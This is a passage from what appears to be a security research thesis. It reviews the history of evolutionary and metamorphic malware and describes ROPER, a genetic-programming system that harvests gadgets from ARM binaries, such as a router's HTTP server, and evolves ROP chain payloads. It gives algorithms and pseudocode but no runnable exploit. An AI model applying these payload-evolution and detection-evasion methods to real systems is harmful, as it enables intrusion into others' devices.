the code body through instruction permutation, register swapping, 1-1, 1-2, and 2-1

translations of instructions into semantic equivalents, and the injection of ’garbage

code’, or what we will later call “semantic introns”.

But the final touch, which elevates this program to evolutionary status, is the

use of a simple genetic algorithm, which is responsible for weighting the probabili-

ties of each metamorphic transformation type. As Mental Driller comments in the

MetaPHOR source code:

I have added a genetic algorithm in certain parts of the code to make it

evolve to the best shape (the one that evades more detections, the action

more stealthy, etc. etc.). It’s a simple algorithm based on weights, so

don’t expect artificial intelligence :) (well, maybe in the future :P).

The way it works is that each instance of the virus carries with it a small gene

sequence that represents a vector of weights – one for each boolean decision that

the metamorphic engine will make when replicating and transforming the virus, in

the process of infection. These are modified a little with each replication. The hope

is that the selective pressure imposed by antiviral software will select for strains of

the virus that have evolved in such a way as to favour transformations that evade

detection, and shun transformations that give the virus away. (Descendants of the
1CARO identification: W32/Simile, {W32,Linux}/Simile.D, Etap.D
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virus, for instance, may adapt in such a way as to never use decryption, if that should

turn out to a tactic that attracts the scanners’ attention, in a given ecosystem. Or

they may evolve to be less aggressive in infecting files on the same host, or filter their

targets more carefully according to filename.

3.1.5 2004-2005: W32/Zellome

The frequent invocation of ecological and evolutionary tropes in virus literature, com-

bined with the lack of any genuine appearance of evolutionary malware, has led many

to speculate as to its impossibility. The most frequently cited reason

for the unfeasibility of viral evolution is computational brittleness – the claim

being that the machine languages (or even scripting languages) that most viruses

are implemented in are relatively intolerant to random mutation. The odds that a

few arbitrary bitflips will result in functional, let alone ’fitter’, code is astronomically

small, these critics reason. This is in contrast to the instruction sets typically used

in GP and ALife, which are designed to be highly fault-tolerant and evolvable.

This is so far from being an insuperable obstacle that it suggests its own solution:

define a more robust meta-grammar to which genetic operators can be more safely

applied, and use those higher-level recombinations to steer the generation of low-level

machine code.

We can find this idea approximated in a brief article by ValleZ, appearing in the

2004 issue of the VXer ezine, 29A, under the title “Genetic Programming in Virus”.

The article itself is just a quick note on what the author sees as interesting but in all

likelihood impractical ideas:

I wanna comment here some ideas i have had. They are only ideas. . .

these ideas seems very beautiful however this seems fiction more than

reality.

ValleZ goes on to sketch out the main principles behind genetic programming, and

then gets to the crux of the piece: “how genetic programming could be used in the

virus world”.

As already noted, most of the essential requirements for GP are already present

in viral ecology: selective pressure is easy to locate, given the existence of antiviral
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software, and replication is a given. However, ValleZ notes, the descendant of a

virus tends to be (semantically) identical to its parent, and even when polymorphism

or metamorphism are used, the core semantics remain unchanged, and there is no

meaningful accumulation of changes down generational lines.

(Conjecture: If we were to picture the distribution of diversity in the genealogy of

a metamorphic virus, for instance, we would see a hub-and-spoke or starburst design

in the cluster, with no interesting progressions away from the centre. Take a look at

the Eigenvirus thesis to see if there’s any corroboration there.)

ValleZ suggests the use of genetic variation operators – mutation, and, perhaps,

in situations where viruses sharing a genetic protocol encounter one another in the

same host, crossover – in virus replication. They would take over the work that

is usually assigned to polymorphic engine, with the added, interesting feature of

generating enough semantic diversity for selective pressures to act on. But for this

to work, they note, it would be necessary to operate not on the level of individual

machine instructions (which are, as noted, rather brittle with respect to mutation) but

higher-level “blocks”, envisioned as compact, single-purpose routines that the genetic

operators would treat as atomic.

The idea is left only barely sketched out, however, and ValleZ concludes by re-

flecting that it seems more an idea “for a film than for real life, however i think its

not a bad idea :-m”.

In 2005, an email arrived in the inbox of the virus researchers Peter Ferrie and

Heather Shannon. Attached was a sample of what would go on to be known as the

W32/Zallome worm. The code of the worm appeared unweildly and bloated, but its

unusual polymorphic engine captured the analysts’ attention.

3.1.6 2009: Noreen’s experiment on grammatic malware evolution

At GECCO ’09, Sadia Noreen presented a report on her recent experiments involving

the evolution of computer viruses. The approach she adopted was to first collect sam-

ples of several varieties of the Beagle worm (CARO name W32/Bagle.{a,b,c,d,e}@mm),

and then define a regular grammar that isolated the separable components of each

variant, and which could be used to recombine and generate new variants. An initial
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population of grammatically correct, but randomly generated, individuals would then

be spawned.

The fitness function used in these experiments was, curiously, resemblance to the

existing samples, as judged by a distance metric and then ratified by an antivirus

scanner. The idea was that if an evolved specimen so closely resembled the original

samples they were indiscernibly to a scanner, than this would prove that viruses

could be generated using evolutionary techniques.

This isn’t the most compelling use of evolutionary techniques in this realm – that

random sets of parameters can be made to approximate or match a training sample,

when the fitness function depends precisely on the resemblance of the former to the

latter, is not surprising. Genetic algorithms are often introduced through the use

of “hello world” exercises posing formally similar problems. But the framework that

Noreen developed could, itself, be put to much more interesting and creative ends,

and the idea of assuring the evolvability and mutational robustness of viral genotypes

by defining and adhering to a strict grammar is promising.

The idea of taking detection as a goal (in an effort to establish the possibility

of evolution in this context) rather than as an obstacle is a strange approach, given

that several scanners also use grammatical analysis to detect the code (often limit-

ing themselves to regular expressions and FSAs), and so it’s quite possible that the

grammar itself went a long way towards preserving the invariants that resulted in

detection.

If the goal were to evolve viruses that had a chance of being viable in the wild,

and so had to contend with the selective pressures imposed by detectors, the ideal

approach would be to employ a grammar with greater Chomsky complexity, as the

virus writer known as “Second Part to Hell” points out in a 2008 post on his website

[18].

3.1.7 2010-2011: Second Part to Hell: Evoris and Evolus

Second Part to Hell’s experiments in viral evolution appear to be the most sophis-

ticated yet encountered. SPTH begins by identifying computational fragility as the

principal obstacle to the the evolvability of virus code as implemented in x86 as-

sembly. An obvious way to circumvent this problem, SPTH reasons, is to have the
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genetic operators operate, not on the level of architecture-specific opcodes, but on an

intermediate language defined in the virus’s code itself.

SPTH designed his IL to be as highly-evolvable as possible, structured in such a

way that an arbitrary bit-flip would still result in a valid instruction, so that they

could be permuted or altered with little risk of throwing an exception, and so that

there would exist a considerable amount of redundancy in the instruction set: 38

semantically unique instructions are defined in a space of 256, with the remainder

being defined as NOPs, affording a plentiful supply of introns, should they be required.

“The mutation algorithm is written within the code (not given by the platform, as

it is possible in Tierre or avida)”, SPTH notes, referring to two well-known Artificial

Life engines. [19]

The same is true of the IL syntax. In fact, what’s particularly interesting about

this project, and with the problem of viral evolution in general, is that the entire

genetic machinery must be contained either in the organism itself, or in features that

it can be sure to find in its environment. In Evoris, the only mechanism that remains

external to the organism is the source of selective pressure – antivirus software and

attentive sysadmins. Two types of mutation are permitted with each replication:

the first child is susceptible to bit flips in its IL sequence, with a certain probability.

With the second, however, the IL instruction set may mutate as well, meaning that the

virtual architecture itself may change shape over the course of evolution. Interestingly,

the first-order mutation operators in the virus are themselves implemented with the

viral IL, and so a mutation to the alphabet – one that changes the xor instruction

to a nop, for instance – may, as a consequence, disable, or otherwise change the

functioning of, first-order mutation (as SPTH observed in some early experiments).

Evolus extends Evoris to include a third type of mutation: “horizontal gene trans-

fer” between the viral code and files that it finds in its environment. Since the bytes

taken from those files will be interpreted in a language entirely foreign to their source,

there’s no real reason to expect any useful building blocks to be extracted, unless,

of course, the Evolus has encountered another of its kind, in which case we have

something analogous to crossover. (Horizontal gene transfer with an arbitrary file
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would then be analogous to “headless chicken crossover”, with the random bytes be-

ing weighted to reflect what the distribution found in the files from which the bytes

are sourced.)

Though SPTH’s results were fairly modest, the underlying idea of having the

virus carry with it its own language for genotype representation, and to take cares to

ensure the evolvability of that language – and to expose the genetic language itself

to mutation and selective pressure – is inspired, and turns SPTH’s experiments into

valuable proofs of concept. With them, at least two major obstacles to the use of

evolutionary techniques in the field of offence have been addressed and, to some

extent, solved by the VX community: the problem of code brittleness, or the viability

of genetic operators, and the problem of self-sufficiency (unlike academic experiments

in evolutionary computation, the virus must carry an implementation of the relevant

genetic operators with it everywhere it goes – “the artificial organisms are not trapped

in virtual systems anymore”, SPTH writes, in the conclusion to the first of his series

of essays on Evoris and Evolus, “they can finally move freely – they took the redpill”

([19], 18).

3.1.8 Concluding remarks on the history of evolutionary techniques in

virus programming

Interestingly, even in the virus scene, which is certainly where we find the most

prolonged and serious interest in evolutionary computation among black and grey

hat hackers, the uses to which evolutionary methods are put tend, for the most part,

to be fairly modest, and oriented towards defence (defending the virus from detection).

When genetic operators are employed, they tend to serve as part of a polymorphic or

metamorphic engine, and the force of selection principally makes itself felt through

antivirus and IDS software. Outside of science fiction [20], however, we have not seen

any discernable attempt to put evolutionary techniques in the service of malware that

learns, in a fashion comparable to what we see with next-generation defence systems.

There is nevertheless a tremendous amount of potential in this direction, and the

threat of unpredictable, evolving viral strains emerging from this sort of research is

one that hasn’t failed to capture the imagination.
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In a paper presented at the 2008 Virus Bulletin conference, two artificial life re-

searchers, Dimitris Iliopoulos and Christoph Adami, together with malware analyst

Péter Ször of Symantec, outline the threat that such technology may pose and the ex-

tent to which it would be feasible to produce [21]. The greatest risk, it seems, concerns

the possibility of detecting such malware. Existing obfuscation techniques, they note,

all share the same theoretical limit: though polymorphic and metamorphic variants of

a malware strain may evade literal signature detection, and and syntactic/structural

detection, they do tend to share common semantic invariants, and remain vulnerable

to detection by means of a well-tuned behavioural profile. “Simply put,” they write,

biological viruses are constantly testing new ways of exploiting environ-

mental resources via the process of mutation. In contrast, computer

viruses do not exhibit such traits, relying instead on changing their ap-

pearance to avoid detection. Functional (as opposed to cryptic) variation,

such as the discovery of a new exploit or the mimicry of non-malicious be-

haviour masking malicious actions, is not part of the arsenal of current

malware.

Evolutionary techniques, by contrast, could allow for the generation of malware

instances whose semantic variation is bounded in extremely minimal, abstract, and

subtle fashions, as demanded by the task at hand, offering little to no foothold for

existing detection technologies. If allowed to develop more freely, moreover, with no

selective pressures beyond replication, survival, and the subversion of the systems

intended to stop them – and if they could incubate in environments where those par-

ticular pressures are gentle enough to allow for relatively “neutral” (non-advantageous,

but non-deleterious) exploration of their environment – then “the emergence of com-

plex adaptive behaviors becomes an expected result rather than an improbability, as

long as exploitable opportunities exist within the malware’s environment” [21].

Ször, Iliopoulos, and Adami, here, are discussing the use of evolutionary techniques

in virus generation, rather than payload generation, as examined in this thesis –

and, indeed, as we’ll see, despite the relative dearth of concrete advancements, the

theme of evolutionary computation has been a preoccupation of virus writers ever

since the first computer virus was crafted, a phenomenon we don’t see paralleled in
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other fields of offensive/counter-security. There are challenges facing the deployment

of evolutionary malware “in the wild” that we don’t encounter when developing it

“in vitro” – that is to say, in a virtual laboratory, where selective pressures can be

fine-tuned with care, rather than left to external circumstance. Where the research

presented here rejoins Szöor, Iliopoulos, and Adami’s anticipations is in examining

the results of relatively free and unconstrained exploration of a host environment by

evolutionary malware, where the tether to semantic invariance is intentionally kept

as loose as possible and the specimens have the ability to salvage and recombine

whatever functional code they can from their hosts. This is, after all, the very nature

of a “code reuse” or “data-only” attack – terms often given to ROP in the literature –

a quality that makes them an especially appealing subject for evolutionary study. It

should nevertheless be emphasized that we are not engineering viral malware here –

ROPER’s populations are not capable of self -replication, and do not encapsulate their

own genetic operators. For that, they rely on the ROPER engine. Once generated,

they can certainly be deployed in the wild, but we do not expect any such specimens

to be capable of reproduction, there, and so their evolutionary history ends as soon

as they exit the incubator.

The historical lineage that comes closest to what we are doing here, then, is

what we could call evolutionary payload generation. This lineage is considerably

shorter – we see no comparable fascination with evolutionary techniques in the exploit-

writing world, as compared to the VX scene – but the achievements that have been

made in this direction tend to be considerably more robust, in terms of evolutionary

computation. The most likely reason for this is simply that payload evolution – where

the malware is produced using genetic techniques, but is not expected to continue

evolving once “released” – is amenable to laboratory study, and to rapid iterations of

the evolutionary cycle, in a way that virus crafting is not.

3.2 Genetic Payload Crafting

3.2.1 Gunes Kayacik and the evolution of buffer overflow attacks

Gunes Kayacik’s 2005-2011 research (see [22], [12], and [23], for instance) brought evo-

lutionary methods – specifically, linear genetic programming (LGP) and grammatical
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evolution (GE) – to bear on the problem of automatically generating shellcode pay-

loads for use in the sort of buffer overflow attacks already known to us from Aleph

One. The aim of that research is twofold:

1. it aims to evolve payloads that can evade not just rudimentary signature-based

detection engines, like Snort’s, monitoring inbound packets, but also anomaly-

detecting, host-based intrusion detection systems, such as Process Homeostasis

(pH). In this respect, it has much in common with the uses of genetic algorithms

that we start to see in some of the more experimental corners of the virus scene,

in the early years of the millenium. In fact, the principal means of obfuscation

that Kayacik saw emerging from his attack population was the proliferation of

“introns”, or what the virus literature refers to as “garbage code” when discussing

an analogous tactic of metamorphic engines.

2. the secondary aim of Kayacik’s research, however, is to use these evolving shell-

code specimens to better train the same defensive AIs that the population of

attacks is struggling to subvert. The ideal, here, is to lock both intelligences

into an evolutionary arms race. In practice, however, the attack populations

had little difficulty leaving the defenders in the dust.

Kayacik’s research was one of the initial inspirations for the current project, and

remains one of the very few serious attempts to put evolutionary methods to work in

the domain of offensive cybersecurity. I was quite surprised to find – or, rather, fail

to find – any significant research by others, continuing in this vein, after 2011.

3.3 The Road Ahead

Despite the relative dearth of work being done on the intersection of exploit research

and evolutionary computation – an intersection which is all but barren, though flanked

by thriving research communities on both sides – it is our conviction that this may be-

come extraordinarily fertile terrain for research. Evolutionary methods are naturally

well-suited to the exploration of the possibility space inhabited by weird machines.

This is not least due to the fact that such machines, whose existence is an emergent

and altogether accidental effect, are in no way designed to be hospitable to human
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programmers. Even the most obtuse and ugly programming language – including the

tiramisu of backwards-compatible ruins that makes up the x64_64 – is designed with

some aspiration of cognitive tractability and elegance in mind. As much as it may

seem that this or that programming environment cares little for the programmer,

this is never truly the case – until you enter the terrain of weird machines. These are

landscapes that were never intended to exist in the first place – they’re a wilderness

supervening on artifice.
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The Roper: This monster appears to be a mass of foul, festering

corruption.

The Strategic Review, Vol. 1, No. 2 (Summer, 1975)

4
On the Design and Implementation of

ROPER: Algorithmic Overview

What we will establish in the pages that follow is that it is indeed possible to generate

functioning, ROP chain payloads through purely evolutionary techniques. By “purely

evolutionary”, here, we mean that payloads are to be evolved from scratch, starting

with nothing but a collection of gadget pointers, of which we have virtually no seman-

tic information, and a pool of integer values. This stands in contrast to most previous

experiments in the field of offensive security, where the role of evolutionary techniques

is restricted to the fine-tuning or obfuscation of already existing malware specimens

or to the recombination of high-level modules into working programs, following an

established pattern.

By “functioning”, we mean only that we are able to generate ROP payloads that

reliably perform to specification, for a wide variety of tasks. Some of these tasks

are simple and exact – such as preparing the CPU context for a given system call,
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with certain parameters – whereas others are complex but vague in nature – tasks

concerning the classification of data by implicit properties, or interacting with a

dynamic environment. In each case, all that is provided to our system by way of

instruction are the specifications of the task, translated into selective pressures in the

form of a “fitness function”.

It should be emphasized that this system, acronymously named ROPER, is pre-

sented as a proof of concept, and not as a refinement of evolutionary techniques.

ROPER is far from being an impressively efficient compiler or classifier, and no at-

tempt was made to have it be otherwise. What ROPER is, is the first known use

of evolutionary computation in return oriented programming, and, more generally,

the first time that genetic programming has been put to work at a task for which

it seems so obviously suited: the autonomous programming of state machines that

emerge entirely by accident, supervening on the systems we designed, without our

having ever designed them, and having languages and instruction sets all their own,

without having ever been specified, spontaneously coalescing in the cracks of our

abstractions.

Algorithm 4.1 Population Initialization
Require: ε, ELF binary of the process to be attacked

Require: π, the problem set specification

Require: n, the desired population size

Require: ι, a pool of dwords (random, or informed by domain-specific knowledge)

Require: (R, s), a pseudo-random number generator and seed

1: code segments, data segments ← parse(ε)

2: add interesting pointers from data segments to ι

3: γ ← harvest-gadgets(code segments) {see 4.4}

4: Π← empty-vector(n)

5: R ← seed(R, s)

6: for x← 1 to n do

7: R, Πx ← make a random chain from elements of γ and ι, using R

8: end for

9: return population
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Figure 4.1: A bird’s eye view of ROPER. Algorithm 4.4 takes us from (1) to (2);
algorithm 4.1 takes us from (2) to (4); algorithms 4.3 and 4.2 cycles us between (4)
and (5), and fairly standard loading and parsing algorithms join (3) up with (4) and
(1) with (5).
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Algorithm 4.2 Genotype Evaluation (Ontogenesis)
Require: E, the CPU emulator

Require: IO : [(in, out, weight)], the input/output rules for the problem set

Require: φ: a task-specific fitness function, mapping CPU states to floats

Require: SENTINEL: uint, a fixed-width integer constant (0, e.g.)

Require: µ: N, the maximum number of execution steps permitted

Require: acc: F× F→ F, an accumulator function for fitness scores (running aver-

age, for example)

Require: Γ, the genotype to be evaluated

1: σ ← serialize(Γ) ∪ [SENTINEL] {into a stack of bitvectors}

2: accumulator ← ()

3: for all case in IO do

4: E ← prime E with case.in

5: E ← load σ into stack memory of E

6: E ← exec(E, "POP PC, SP") {pop stack into program counter}

7: i← 0

8: while i < µ and program-counter(E) ̸= SENTINEL and in-legal-state(E) do

9: E ← step(E) {fetch instruction at PC and execute}

10: i← i+ 1

11: end while{We can think of the state of E as the ‘base phenotype’}

12: fitness ← acc(fitness, case.weight, φ(E, case)

13: E ← reset(E)

14: end for

15: return fitness
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Algorithm 4.3 Evolve Population (Tournament Selection)
Require: Π, the population {as initialized by Algorithm 4.1}

Require: E, the CPU emulator

Require: Ω : Π→ B, the stop condition (predicate over Π)

Require: Σ, the problem set (labelled exemplars for classification, patterns to match,

game states to respond to, etc. – the precise nature of this set is task-specific)

Require: (R, s), a PRNG and seed

Require: n, the number of individuals competing in each selection tournament

1: R ← seed(R, s)

2: repeat

3: R, candidates ← using R, pick n from Π

4: Φ← empty list of (float, genotype) pairs

5: for Γ in candidates do

6: Γfitness ← evaluate-genotype(Γ,Σ, E) {Algorithm 4.2}

7: end for

8: Φ← sort(Φ, by fitness)

9: victors ← take m from Φ

10: vanquished ← take k of reverse(Φ)

11: R, offspring1...k ← breed(R, k, victors)

12: Π← [vanquished/offspring]Π {replace vanquished with offspring}

13: until Ω(Π) = true

14: champion ← head(sort(Π, by fitness))

15: return champion
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Figure 4.2: High-level overview of the tournament selection algorithm
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Algorithms 4.1, 4.2, and 4.3 furnish a bird’s eye view of ROPER, abstracting away

from questions of implementation, and streamlining away various bits of functionality

aimed at optimization, bookkeeping, and fine-tuning.

ROPER begins with the analysis of an executable binary file (either an application

or a library). For the time being, we are restricting ourselves to binaries targetting

the 32-bit Advanced RISC Machine, Version 7 (ARMv7) architecture, in ELF format,

but there is nothing essential about this restriction, and ROPER could easily be ex-

tended to handed a variety of hardware platforms and executable formats, if desired.

It harvests as many viable ROP gadgets as it can from the file (within parameteriz-

able limits), by means of a linear sweep search, walking backwards through the file’s

executable .text section until it hits a return instruction, and then walking further

backwards until it reaches an instruction that would prevent the execution flow from

reaching the return. This isn’t the most thorough or exacting technique for finding

gadgets, and a wider variety of potentially usable gadgets can be uncovered by means

of a constraint-solving algorithm, which is able to detect stack-controllable indirect

jumps other exploitable control-flow artefacts as well. (We experiment with such an

approach in ROPER II, which is still in progress at the time of writing.) A linear

sweep nevertheless suffices to provide us with a fairly generous number of gadgets for

our purposes, and has the advantage of being both simple and efficient.

The addresses of these gadgets, together with a pool of potentially useful imme-

diate integer values and data pointers, which can be supplied by the user, or inferred

from the specification of the problem set, supply us with the primtive genetic units

from which the first genotypes in the population will be composed. With no more

abuse of terminology than is customary in evolutionary computation, we can call this

the “gene pool” of the population. It should nevertheless be noted that the biologi-

cal concept of gene presupposes many structural constraints that have, as of yet, no

parallel in our system.

The initial population, as yielded by Algorithm 4.1, is little more than an array

of variable-length vectors of machine words (32-bits, so long as we are restricting

ourselves to the ARMv7, but, again, this restriction matters little so far as the sys-

tem’s algorithmic structure is concerned). The length of the initial individuals is

left parameterizable, but is upper-bounded by the amount of stack memory that will
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be available in the target process for our attacks to write to. We will complicate

this structure somewhat, in §4.2, but it remains a useful simplification. The words

making up each individual may be either gadget addresses or other integers, which

the individual’s gadgets may use to populate registers other than PC. To stack the

deck a little, we may inject various potentially useful integers into the primordial ooze

from which the initial population is spawned. The selection of these depends on the

problem set, and on domain-specific knowledge (or hunches), and they may include

both words intended to be used as immediate integer values, and words intended to

be used as pointers to potentially useful information in the data segments.

The main loop, outlined in Algorithm 4.3 and figure 4.2, is built around a well-

known and widely used genetic programming algorithm called “tournament selection”.

On each iteration of the loop, n (typically 4) distinct candidate genotypes are chosen

from the population, with equal probability. Each is then mapped to its phenotype

(its behavioural profile in the emulated CPU), and its fitness evaluated (by applying

the fitness function to that profile). The m (typically 2) candidates with the best

fitness are selected for reproduction, while the least-fit k candidates are culled from

the population.

The genotypes selected for reproduction are then passed to our genetic operators,

which will return k offspring, who will replace the least-fit k candidates in the tour-

nament. In the genetic programming literature, these operators are often referred to

as the “variation operators”, as they “define the manner in which the system moves

through the space of possible solutions” ([24], 144). In ROPER, our genetic operators

comprise a single-point crossover function, which maps a pair of parents into a pair

of offspring, and a mutation operator, which maps a single genotype into a variant

thereof. The internals of these operators are detailed in §4.3.

This loop continues until the halting conditions are satisfied. These are most often

set either to a maximum number of iterations, or the attainment of a set degree of

fitness by the population’s fittest specimen.

In the following sections, we will explain the finer-grained design decisions involved

in implementing the algorithms specified above.

In the following sections, I will unfold and justify the decisions that went into

implementing the algorithms surveyed in §4. We can begin with the representation
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of the genotypes constructed by the spawn-individual() algorithm, called on line 7

of Algorithm 4.1.

4.1 Gadget Extraction

Figure 4.3: Harvesting gadgets from a RISC executable segment.

Since the aim of ROPER is to foster the evolution of ROP chains, we must begin

by supplying the engine with a sufficient pool of gadgets, harvested from the target

executable. 1

There are several ways that this can be done, but the simplest is just to scan the

executable for a subset of easily recognizable ’gadgets’ using a linear sweep algorithm,

shown in Algorithm 4.4 and diagrammed in figure 4.3. Since we are dealing only with

a RISC instruction set architecture here, we can avoid several complexities in our

1See §2.2 for a sustained explanation of how return-oriented programming works, and an expla-
nation of the concept of ’gadget’.

40



gadget search that we would need to grapple with were we adapting ROPER to

handle CISC instruction sets (such as the x86 and its ilk) as well. The instructions of

a RISC ISA are all of equal length (with a certain exceptions, and assumping the mode

fixed), and so if a sequence of bytes beginning at address i is parsed as instruction

X when beginning the parse from i, then it will also be parsed as X when beginning

the parse from some j < i. To put it another way, the list of RISC instructions

parsed from bytevector C, beginning at address i, extends monotonically with each

decrement of i. In practical terms, this means that an instruction that looks like a

return from far away will still look like a return by the time you’ve parsed your way

up to it. This is very different from what we encounter with CISC ISAs, where the

length of instructions is variable, and instructions are not aligned. Suppose we had

the string "aabbcc" of bytes. Suppose that aa parses to α, ab parses to β, bb parses

to τ , cc parses to δ and bcc parses to γ. If we begin the parse from the beginning

of the string, we get ατδ. But if we increment our cursor one byte forward before

parsing, then our parse yields βγ, with δ nowhere to be seen. In order to adapt our

gadget harvesting algorithm to CISC ISAs, therefore, we would have to continually

check to ensure that the return instruction spotted at line 5 of Algorithm 4.4 is still

parseable as a return, and still reachable, from the address indicated by i on line 7.

This would increase the complexity of the algorithm substantially.

Fortunately, for the time being, we are concerned only with the two main in-

struction sets of the ARMv7: the arm instruction set, which is aligned to four-byte

intervals, and the thumb instruction set, which is aligned to two-byte intervals. There

is no essential difference in the functionality of these two instruction sets – both are

Turing-complete, and entire operating systems can get along just fine using one or

the other. What the difference in modes offers are resources for navigating various

time/space trade-offs: arm mode offers greater internal parallelism, semantic nuances

(every instruction offers conditional variants, and “free” bitshifting), and register se-

lection, but its larger instructions make its use more memory intensive and slower

in ROM, while thumb mode offers greater instruction-per-byte density, and may be

favoured in situations where space is at a premium, or where the code bus has lim-

ited bandwidth (the Game Boy Advance, for instance, almost exclusively uses thumb

mode, for this reason [25] [26]). In crafting ROP payloads, we’re not particularly
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invested in these costs and benefits, but the added semantic variety resulting from

the ability to switch between ARM and mode, as we like, and the possibility of

parsing arbitrary instructions in both modes – regardless of which was intended –

is a boon to the ROP chainer. A sufficient supply of gadgets can usually be found

by passing our extraction algorithm twice over the executable segments of our target

binary, gathering a pool of both arm and thumb gadgets. Since the least significant

bit of an instruction address is invariably 0, for this ISA, the ARM CPU uses this

bit to distinguish between arm mode and thumb mode. We therefore increment the

address of each of our freshly harvested thumb gadgets by 1.

Algorithm 4.4 Linear sweep algorithm for gadget extraction.
Require: C: a contiguous vector of bytes representing instructions

Require: ⌜Xj⌝ : [byte]→ N→ inst|Λ, a parsing function, from byte-vectors X and

indices j to instructions, or Λ in case of unparseable bytes.

Require: ρ : inst→ B, predicate to recognize returns

Require: φ : inst→ B, predicate to recognize control instructions, with ∀(x) ρ(x)⇒
φ(x), but not necessarily the converse. φ should also return true for Λ (signalling

unparseable bytes).

Require: δ: positive integer, offset of base virtual address for C

1: Γ← empty stack of integers

2: i← length(C)

3: while i > 0 do

4: i← i− 1

5: if ρ(⌜Ci+1⌝) then

6: while ¬φ(⌜Ci⌝) and i > 0 do

7: push i onto Γ

8: i← i− length(⌜Ci⌝)

9: end while

10: end if

11: end while

12: Γ⋆ ← map (λx.δ + x) over Γ

13: return Γ⋆
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4.2 Genotype Representation: Gadgets, Clumps, and Chains

From a certain perspective – that of the evaluation engine – the individual genotypes

of the population are little more than bare ROP-chain payloads: vectors of 32-bit

words, each of which is either a pointer into the executable memory of the host

process, or raw data (the former being a subtype of the latter, of course). The view

afforded to the genetic operators, and to the initial spawning algorithm, exposes

slightly more structural complexity, which is introduced in response to the following

problem:

In the set of 32-bit integers (0x100000000 in all), the subset representing the set

of pointers into the executable memory segments of a given ELF file tends to be

rather small: in the case of tomato-RT-N18U-httpd, an HTTP server that ships with

a version of the Tomato firmware for certain ARM routers, which we will be using

for a few of the experiments that follow, we can see that only 0x1873c + 0xc0 =

0x187ec bytes are mapped to executable memory. Now, the ARMv7 CPU is capable

of running in two different modes, each with their own instruction set: arm mode,

which requires the instructions to be aligned to 4-byte units, and thumb mode, which

demands only a 2-byte alignment of instructions. Since the least significant bit in a

dword can therefore not be used to differentiate between instruction addresses, the

ARMv7 CPU uses it to distinguish between the two modes: any address a whose least

significant bit is 1 (i.e., any odd-valued address) is dereferenced to a thumb instruction

at address a ⊕ 1 (rounding down to the nearest even address). This gives us a total

of 0x187ec
4

+ 0x187ec
2

= 0x125f1 valid executable pointers – which, roughly, means that

only one in fifty-thousand of integers between 0x00000000 and 0xFFFFFFFF can be

dereferenced to executable memory in a the ELF executable in question – a ratio that

is seldom increased by more than one or two orders of magnitude, even when dealing

with large, statically linked ELF binaries. 2

This means that if we allow the integers composing the genotypes of our initial

population to be randomly selected from the entire 32-bit range, only a tiny fraction

of those integers will dereference to any meaningful executable addresses in the code

2There’s a fair bit of handwaving, here, when referring to a ’typical’ ELF executable – obviously
the size of the executable can vary. We’re also restricting ourselves to the executable memory mapped
in the file of a dynamically linked executable here, ignoring the addresses that may dereference to
executable addresses where dynamically loaded libraries might be mapped.
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Table 4.1: Program Headers of a Typical ELF Executable

$ readelf --program-headers tomato-RT-N18U-httpd

Elf file type is EXEC (Executable file)
Entry point 0xa998
There are 6 program headers, starting at offset 52

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x00008034 0x00008034 0x000c0 0x000c0 R E 0x4
INTERP 0x0000f4 0x000080f4 0x000080f4 0x00014 0x00014 R 0x1

[Requesting program interpreter: /lib/ld-uClibc.so.0]
LOAD 0x000000 0x00008000 0x00008000 0x1873c 0x1873c R E 0x8000
LOAD 0x01873c 0x0002873c 0x0002873c 0x0040c 0x005c8 RW 0x8000
DYNAMIC 0x018748 0x00028748 0x00028748 0x00118 0x00118 RW 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn

.rel.plt .init .plt .text .fini .rodata .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .data .bss
04 .dynamic
05

– let alone useful gadget addresses. Restricting the pool of integers sampled to the

set of valid executable pointers, let alone gadget addresses, however, may deprive the

population of useful numerical values.

The execution of these individuals, after all, will be driven by return instructions,

and these, in ARM machine code, are most often implemented as multi-pops, which

pop an address from the stack into the program counter, while simultaneously popping

a variable number of dwords into other, general-purpose registers. This means that

each return – each “tick” of the ROP state-machine – not only steers the control

flow of our machine, sending it to a new gadget, but the data flow as well, furnishing

each gadget with a handful (between zero and a dozen) of numerical values, to use

internally. We don’t necessarily want to restrict these numerical resources to the

range of gadget pointers – it would be better, in fact, if we could tailor the pool of

“potentially useful” numerical values to a set of integers (including, perhaps, data

pointers) that seems suited to the problem set at hand.

This suggests a potentially useful structural constraint that we can impose on the

genotypes, to increase the likelihood that they will be found useful for the problem

space at hand, and greatly increase the probability that .text pointers will be popped
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into PC, while other integers land predominantly in general-purpose registers. To do

this, we calculate the distance the stack pointer will shift when each gadget executes,

the stack pointer shift (SP∆) of g or SP∆(g), and then clump together each gadget

pointer g with a vector of SP∆(g)− 1 non-gadget values. Consider, for example, the

instruction,

LDMIA! SP, {R0, R7, R9, PC}

which pops the stack into registers R0, R7, R9, and PC, in sequence, “returning” the

program counter to the address represented by the fourth dword on the stack, while at

the same time populating three general purpose registers with the stack’s first three

dwords. This instruction has a SP∆ of 4. For a gadget g, we define SP∆(g) as

SP∆(π) =
∑
i∈π

SP∆i

for some control path π in g that reaches the return. In practice, we choose our ini-

tial pool of gadgets in such a way that each contains only a basic block of code, with

control flow entirely in the hands of the return instruction that terminates it, so that

the choice of π is unique for each g. If this condition is relaxed, we suggest generating

n distinct clumps for each distinct member of {SP∆(π)|π is a control path in g}. Ex-

actitude isn’t strictly necessary, here, however – as we’ll see, the evolutionary process

that follows is robust enough to handle a fairly large number of gadgets with miscal-

culated SP∆ values. A good rule of thumb, here, is that when the approximation of

SP∆(g) is left inexact, in the interest of efficiency, dump several options into the pool,

and let natural selection sort them out.

Given a gadget entry point address ĝ, a “clump” around g can now be assembled

by taking a stack of SP∆(g)− 1 arbitrary values, and pushing ĝ on top of it. By the

time g has run to completion, it will have popped SP∆(g) values from the process

stack. The first SP∆ − 1 of these will populate the general purpose registers of the

machine, and the SP∆
th will pop the entry point of the next gadget, g′, into pc. That

entry point, ĝ′ will be found at the top of the next clump in the sequence that makes

up the genotype.3

3ROPER also handles gadgets that end in a different form of return: a pair of instructions that
populates a series of registers from the stack, followed by an instruction that copies that address
from one of those registers to pc. In these instances, ∆SP (g) and the offset of the next gadget from
g are distinct. But this is a complication that we don’t need to dwell on here.
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As explained in §2.2.2, it is often helpful to think of each gadget as an instruc-

